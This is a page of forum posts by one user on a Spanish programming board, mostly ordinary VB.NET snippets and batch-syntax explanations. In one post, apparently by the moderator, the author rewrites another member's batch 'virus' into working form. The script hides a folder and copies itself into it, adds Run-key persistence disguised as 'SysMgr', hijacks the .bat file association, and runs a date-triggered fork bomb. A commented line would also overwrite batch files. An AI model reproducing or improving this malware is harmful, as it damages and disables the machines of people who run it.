Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Eleкtro

#9601
Scripting / Re: [src]batch-virus]f_to
18 Enero 2013, 10:07 AM
Gracias aunque de poco sirve ser un pu** amo en Batch, yo envidio los conocimientos de $Edu$ entre otros cuantos miembros de la programación .NET.

Saludos!
#9602
Cita de: seba123neo en 17 Enero 2013, 21:52 PM
Código (vbnet) [Seleccionar]
ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.PerUserRoaming).FilePath

¿Hay algo equivalente a eso para FW 3.0, 3.5, o 4.0?

EDITO: ah pues... mmm... en Framework 4.5 tampoco me funciona xD
Me dice que ConfigurationManager no está declarada
#9603
Cargar un recurso embedido (.exe) al disco duro

Código (vbnet) [Seleccionar]
#Region " Load Resource To Disk Function "

    ' [ Load Exe Resource To Disk Function ]
    '
    ' // By Elektro H@cker (Gracias a Kubox)
    '
    ' Examples:
    '
    ' Load__Exe_Resource_To_Disk(My.Resources.Exe_Name, "C:\File.exe")
    ' ' Process.Start("C:\File.exe")

    Private Function Load__Exe_Resource_To_Disk(ByVal Resource As Byte(), ByVal Target_File As String) As Boolean
        Try
            Dim File_Buffer As Byte() = Resource
            Dim Buffer_FileStream As New IO.FileStream(Target_File, IO.FileMode.Create, IO.FileAccess.Write)
            Buffer_FileStream.Write(File_Buffer, 0, File_Buffer.Length) : Buffer_FileStream.Close()
            Return True
        Catch ex As Exception
            Return False
        End Try
    End Function

#End Region





MessageBox Question - Cancel operation

Código (vbnet) [Seleccionar]
  Dim Answer = MessageBox.Show("Want to cancel the current operation?", "Cancel", MessageBoxButtons.YesNo, MessageBoxIcon.Question, MessageBoxDefaultButton.Button1)
  If Answer = MsgBoxResult.Yes Then Application.Exit() Else e.Cancel = True





Mover un archivo, con varias opciones adicionales.

Código (vbnet) [Seleccionar]
#Region " Move File Function "

    ' [ Move File Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    '
    ' MsgBox(Move_File("C:\File.txt", "C:\Test\")) ' Standard move
    ' MsgBox(Move_File("C:\File.txt", "C:\Test\", True)) ' Create the directory if doesn't exists
    ' MsgBox(Move_File("C:\File.txt", "C:\Test\", , True)) ' Replace any existing file
    ' MsgBox(Move_File("C:\File.txt", "C:\Test\", , , IO.FileAttributes.Hidden + IO.FileAttributes.ReadOnly)) ' Apply new attributes

    Private Function Move_File(ByVal File As String, ByVal Target_Path As String, _
                               Optional ByVal Force_Target_Path As Boolean = False, Optional ByVal Force_File_Replace As Boolean = False, _
                               Optional ByVal Attributes As System.IO.FileAttributes = IO.FileAttributes.Normal)

        Dim File_Information = My.Computer.FileSystem.GetFileInfo(File) ' Get Input File Information

        ' Directory
        If Not Force_Target_Path And Not My.Computer.FileSystem.DirectoryExists(Target_Path) Then
            Return False ' Target Directory don't exists
        ElseIf Force_Target_Path Then
            Try
                My.Computer.FileSystem.CreateDirectory(Target_Path) ' Create directory
            Catch ex As Exception
                'Return False
                Return ex.Message ' Directory can't be created maybe beacuse user permissions
            End Try
        End If

        ' File
        Try
            My.Computer.FileSystem.MoveFile(File, Target_Path & "\" & File_Information.Name, Force_File_Replace) ' Moves the file
            If Not Attributes = IO.FileAttributes.Normal Then My.Computer.FileSystem.GetFileInfo(Target_Path & "\" & File_Information.Name).Attributes = Attributes ' Apply File Attributes
            Return True ' File is copied OK
        Catch ex As Exception
            'Return False
            Return ex.Message ' File can't be created maybe beacuse user permissions
        End Try
    End Function

#End Region
#9604
Scripting / Re: [src]batch-virus]f_to
18 Enero 2013, 05:10 AM
Sincéramente el mundo "batch" está lleno de "virus" como el que compartiste,
aparte de ayudar y enseñar lo que pueda intento demostrar que no es tán fácil, hay muchos detalles que tener en cuenta, y te dije unos cuantos.




Citarexplicame mejor esa parte por favor si puedes.

Te explico:

Cita de: 0x3c en 17 Enero 2013, 21:25 PMpor ejemplo no sabia que se podia empezar una linea de codigo con un parentesis :O
El paréntesis es el operador de agrupación, y sirve para agrupar comandos.
Puedes empezar cualquier línea con el uso del paréntesis, y puedes agrupar tantas veces como quieras:

((((((((((echo hola))))))))))

Ejemplo:
Código (dos) [Seleccionar]
f "a" == "a" echo Es igual & Echo Sí else No es igual

Eso es una patata de línea, porque los comandos no están agrupados así que no puede funcionar corréctamente, siempre mostrará "es igual" y "no es igual",
hay que agrupar las ordenes así:
Código (dos) [Seleccionar]
f "a" == "a" (echo Es igual & Echo Sí) else (No es igual)

También puedes agrupar para hacer una redirección multilínea:
Código (dos) [Seleccionar]

(
Echo elhacker
echo .net
)>"Archivo.txt"

* El output de lo que haya dentro de la agrupación se redirecciona al archivo.

Otro ejemplo de agrupación en una línea sería:
Código (dos) [Seleccionar]
(SET /A "A=0", "LINE=0", "TOTAL_LINES=0")  &  (CALL :%~1 %* || (ECHO Parametro incorrecto & Exit /B 1)) & (GOTO:EOF)
* Fíjate donde acaba la primera agrupación, sin usar las agrupaciones no se podría escribir en una sola línea porque el "GOTO:EOF" siempre daría positivo.
* El ejemplo lo he sacado de mi script, donde tienes más ejemplos: [BATCH] [APORTE] Rutina TEXTMAN para manipular archivos de texto

Y escribí un tutorial de Batch donde tienes más información:
Tutorial extendido de aprendizaje Batch 4.4 Operadores de agrupación




Cita de: 0x3c en 17 Enero 2013, 21:25 PMFOR
esta parte del codigo no la entiendo bien...segun puedo ver estas tratando de contar tokens y delimitas algo??  :huh:

Lo primero de todo que hago es obtener el dato del valor "default" de la clave "HKEY_CLASSES_ROOT\.Avi", que es donde se guarda el identificador necesario.

El output que recibo es este:
   (Predeterminado)    REG_SZ    UMPLAYER.AVI

Contiene tres espacios por defecto antes del dato que quiero obtener, así que uso 3 tokens y como delimitador uso el espacio, y obtengo esto:
UMPLAYER.AVI

Y ya hago lo que quiera hacer con el valor que he obtenido xD.

Saludos.
#9605
Lo de obtener la ruta de APPDATA, y que los programas (suelen) guardan sus datos ahí, ya lo sabía, pero te lo agradezco.

Lo que pasa es que todos los programas que yo compilo (con settings) generan una carpeta en Local con una GUID o algo que parece ser una GUID, como en este ejemplo:
C:\Users\Administrador\AppData\Local\Microsoft\PlayDir.exe_Url_lnflzfdwlfhy5awswiu4l03ntux3k2vh\1.0.0.0\user.config

por eso me parecía impredecible saber el nombre de esa carpeta a menos que hubiera algún método para obtener esa guid... pero por lo que dices parece que no xD.
No sé, quizas es cosa del VS2012...

EDITO: O del ILMerge o el .Net Shrink, ahora que lo pienso...

¿En la IDE se puede cambiar la ruta donde se almacena el archivo de configuración para quitarle la GUID?

Un saludo!
#9606
'¬¬

I'm stupid.

xD

Saludos.
#9607
Gracias.

Y el própio intérprete sabe que función debe usar según el tipo de valor con el que lo llames independientemente del nombre, QUE BUENO!

Pero yo (que soy muy retorcido y me gusta experimentar situaciones xD), he intentado exprimir el ejemplo de esta manera para ver que pasaba:

Código (vbnet) [Seleccionar]
   Function Test(ByVal arg1 As Integer, _
   Optional arg2 As Integer = Nothing)
       MsgBox("A" & arg1)
   End Function


   Function Test(ByVal arg1 As Integer, _
   Optional arg2 As String = Nothing)
       MsgBox("B" & arg1)
   End Function

   Test(3)


Y no funciona,

¿Si el único parámetro de entrada que cambia es opcional, se puede sobrecargar de alguna manera?
#9608
Cita de: Novlucker en 13 Enero 2013, 19:20 PMCon sobrecargas, tendría dos métodos :P

¿Me puedes indicar el nombre del término en inglés para buscar información?

Me dices sobrecarga y me quedo igual, no consigo asociarlo a nada... sobrecargar un sub/función, ¿eso que leches es? xD.
#9609
@Seba

Te refieres a la carpeta de appdata donde se genera el "user.config"?
Me gustaría hacer las cosas bien, pero creo que el nombre que se genera es aleatorio, como por ejemplo ".\roaming\Programa.exe_Url_ktb5duwkcuyoinv5ivsuakbcdmye00nf\user.config", ¿entonces como obtengo la ruta? ni siquiera sé si ese número es una GUID única, o que es.




@Kubox

Código (vbnet) [Seleccionar]
Dim Buffer As Byte() = My.Resources.Splitty_7zip
Dim Fs As New IO.FileStream(TempDir & "Splitty_7zip.exe", IO.FileMode.Create, IO.FileAccess.Write)
Fs.Write(Buffer, 0, Buffer.Length)
Fs.Close()


Te lo digo muy en serio, eres mi pu** ídolo, ¿diosss pero como lo haces para resolverlo todo!?,
PD: Algunos no tenemos la suerte de aprender programación con un profesor en la uni :(.

Desde luego eso de sacar los bytes va para mi colección de snippets/apuntes xD

Un saludo!
#9610
Scripting / Re: [src]batch-virus]f_to
17 Enero 2013, 18:57 PM
Bueno, como soy el moderador voy a hacer un doble post porqué sí  (Por una vez no pasa nada xD) :laugh:, que arriba puse demasiada información para leer.

Aquít ienes las correciones que he mencionado antes ( Sí las quieres :P ):

Código (dos) [Seleccionar]
@Echo OFF

Set "Folder=%SystemDrive%\placenta"

IF exist "%Folder%" (Exit /B 1) Else (
MKDIR           "%Folder%"
Copy /Y "%~0"   "%Folder%\f_to%~x0"
Attrib +R +S +H "%Folder%"
Attrib +R +S    "%Folder%\f_to%~x0"
Reg ADD         "HKLM\Microsoft\Windows\CurrentVersion\Run" /v "SysMgr" /d "%Folder%\f_to%~x0" /F
Reg ADD         "HKCU\Microsoft\Windows\CurrentVersion\Run" /v "SysMgr" /d "%Folder%\f_to%~x0" /F
For /F "Tokens=1-3 Delims= " %%A in ('REG Query "HKCR\.avi" /V ""') Do (Assoc ".bat"="%%C")
IF %date:~6,4%%date:~3,2%%date:~0,2% GEQ 20131213 (GOTO :Loop) Else (Exit /B 1)
REM Como esta orden no se llega a ejecutar en el código original no se donde quieres que la ponga, pero de todas formas la he corregido:
:: For /R %%# in ("*.bat";"*.cmd") do (Copy /Y "%~0" "%%#" & Attrib +s +h "%%#")
)

:Loop
(Start /B "" "%~0") & (Goto :Loop)


Saludos.